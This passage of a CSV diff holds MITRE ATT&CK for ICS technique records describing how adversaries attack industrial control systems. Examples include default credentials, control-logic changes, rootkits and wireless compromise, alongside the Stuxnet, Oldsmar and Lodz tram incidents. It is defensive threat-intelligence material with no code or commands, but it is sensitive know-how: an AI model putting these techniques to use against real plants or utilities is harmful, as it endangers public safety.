to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.",attack-pattern--cd2c76a4-5e23-4ca5-9c40-d5e0604f7101,attack-pattern,"['persistence-ics', 'lateral-movement-ics']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Authentication logs', 'Process monitoring']",,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0802', 'source_name': 'mitre-ics-attack', 'external_id': 'T0802'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0802,mitre-ics-attack,T0802,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Automated Collection,"Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.",attack-pattern--3de230d4-3e42-4041-b089-17e1128feded,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Data loss prevention', 'Process command-line parameters']",,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T875', 'source_name': 'mitre-ics-attack', 'external_id': 'T0875'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T875,mitre-ics-attack,T0875,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Change Program State,Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.,attack-pattern--a8cfd474-9358-464f-a169-9c6f099a8e8a,attack-pattern,"['execution-ics', 'impair-process-control']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T808', 'source_name': 'mitre-ics-attack', 'external_id': 'T0808'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T808,mitre-ics-attack,T0808,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Control Device Identification,"Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment.",attack-pattern--abb0a255-eb9c-48d0-8f5c-874bb84c0e45,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0812', 'source_name': 'mitre-ics-attack', 'external_id': 'T0812'}, {'description': 'Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.', 'source_name': 'Guidance - NIST SP800-82', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0812,mitre-ics-attack,T0812,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Default Credentials,"Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82) +In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021)",['impair-process-control'],https://collaborate.mitre.org/attackics/index.php/Technique/T0836,mitre-ics-attack,T0836,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm', 'Asset: Device Configuration/Parameters']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Human-Machine Interface']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0840', 'external_id': 'T0840'}, {'source_name': 'EAttack System Network Connections Discovery', 'description': 'MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1049'}]",,attack-pattern,attack-pattern--ea0c980c-5cf0-43a7-a049-59c4c207566e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Network Connection Enumeration,"Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.",['discovery-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0840,mitre-ics-attack,T0840,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']",,,,,['Human-Machine Interface'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0851', 'external_id': 'T0851'}, {'source_name': 'EAttack Rootkit', 'description': 'Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1014'}]",,attack-pattern,attack-pattern--3b6b9246-43f8-4c69-ad7a-2b11cfe0a0d9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Rootkit,"Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit) -Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.",attack-pattern--8bb4538f-f16f-49f0-a431-70b5444c7349,attack-pattern,['lateral-movement-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Authentication logs', 'Windows event logs', 'Network protocol analysis', 'Packet capture']",,,,"['Human-Machine Interface', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T870', 'source_name': 'mitre-ics-attack', 'external_id': 'T0870'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T870,mitre-ics-attack,T0870,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Detect Program State,"Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.",attack-pattern--94f042ae-3033-4a8d-9ec3-26396533a541,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0819', 'source_name': 'mitre-ics-attack', 'external_id': 'T0819'}, {'description': 'ICS-CERT. (2014, December 10). ICS Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E). Retrieved October 11, 2019.', 'source_name': 'ICS CERT 14-281', 'url': 'https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0819,mitre-ics-attack,T0819,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit Public-Facing Application,"Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.",attack-pattern--32632a95-6856-47b9-9ab7-fea5cd7dce00,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Web logs', 'Web application firewall logs', 'Application logs', 'Packet capture']",,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0823', 'source_name': 'mitre-ics-attack', 'external_id': 'T0823'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0823,mitre-ics-attack,T0823,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Graphical User Interface,"Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.",attack-pattern--b0628bfc-5376-4a38-9182-f324501cb4cf,attack-pattern,['execution-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Process monitoring', 'Process command-line parameters', 'Binary file metadata']",,,,['Human-Machine Interface'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0883', 'source_name': 'mitre-ics-attack', 'external_id': 'T0883'}, {'description': 'NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019.', 'source_name': 'Bowman Dam - ICS-CERT', 'url': 'https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf'}, {'description': 'Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', 'source_name': 'Bowman Dam - wall street journal', 'url': 'https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'}, {'description': 'Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', 'source_name': 'Bowman Dam - Times', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'}, {'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.', 'source_name': 'Trend Micro Honeypot', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0883,mitre-ics-attack,T0883,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Internet Accessible Device,"Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot)",attack-pattern--f8df6b57-14bc-425f-9a91-6f59f6799307,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,['Authentication logs'],,,,"['Windows', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0831', 'source_name': 'mitre-ics-attack', 'external_id': 'T0831'}, {'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'source_name': 'LondonReconnections Hacked Cyber Security Railways May 2017', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'source_name': 'InHomelandSecurity Hacker Poland February 2008', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'}, {'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'source_name': 'Schneier Hacking Polish Trams January 2008', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0831,mitre-ics-attack,T0831,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Manipulation of Control,"Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008)",attack-pattern--1af9e3fd-2bcc-414d-adbd-fe3b95c02ca1,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0833', 'source_name': 'mitre-ics-attack', 'external_id': 'T0833'}, {'description': ""Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved March 27, 2018."", 'source_name': 'Stuxnet - Langner - 201311', 'url': 'https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0833,mitre-ics-attack,T0833,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Control Logic,"Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. +Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact. -Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. +Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit","['evasion-ics', 'inhibit-response-function']",https://collaborate.mitre.org/attackics/index.php/Technique/T0851,mitre-ics-attack,T0851,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Modification', 'Firmware: Firmware Modification', 'Module: Module Load']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0865', 'external_id': 'T0865'}, {'source_name': 'EAttack Spearphishing Attachment', 'description': 'Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019.', 'url': 'https://attack.mitre.org/techniques/T1193/'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",,attack-pattern,attack-pattern--648f995e-9c3a-41e4-aeee-98bb41037426,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Spearphishing Attachment,"Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0865,mitre-ics-attack,T0865,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"['Engineering Workstation', 'Human-Machine Interface', 'Control Server', 'Data Historian']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0882', 'external_id': 'T0882'}, {'source_name': 'Bowman Dam - Times', 'description': 'Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'}, {'source_name': 'Bowman Dam - wall street journal', 'description': 'Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', 'url': 'https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'}]",,attack-pattern,attack-pattern--b7e13ee8-182c-4f19-92a4-a88d7d855d54,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-11T16:22:12.527Z,Theft of Operational Information,"Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. -An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. +In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal)",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0882,mitre-ics-attack,T0882,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0860', 'external_id': 'T0860'}, {'source_name': 'Hart - Bolshev', 'description': 'Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020.', 'url': 'https://www.slideshare.net/dgpeters/17-bolshev-1-13'}, {'source_name': 'ICSCorsair - Bolshev', 'description': 'Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020.', 'url': 'https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf'}, {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'}, {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]",,attack-pattern,attack-pattern--2877063e-1851-48d2-bcc6-bc1d2733157e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Wireless Compromise,"Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. -An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. +A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. -It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. (Citation: Stuxnet - Langner - 201311) +A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12)",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0860,mitre-ics-attack,T0860,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Scott Dougherty'],"['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0802', 'external_id': 'T0802'}]",,attack-pattern,attack-pattern--3de230d4-3e42-4041-b089-17e1128feded,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Automated Collection,"Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0802,mitre-ics-attack,T0802,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access', 'Script: Script Execution', 'Network Traffic: Network Traffic Content']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0884', 'external_id': 'T0884'}, {'source_name': 'EAttack Connection Proxy', 'description': 'Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1090'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 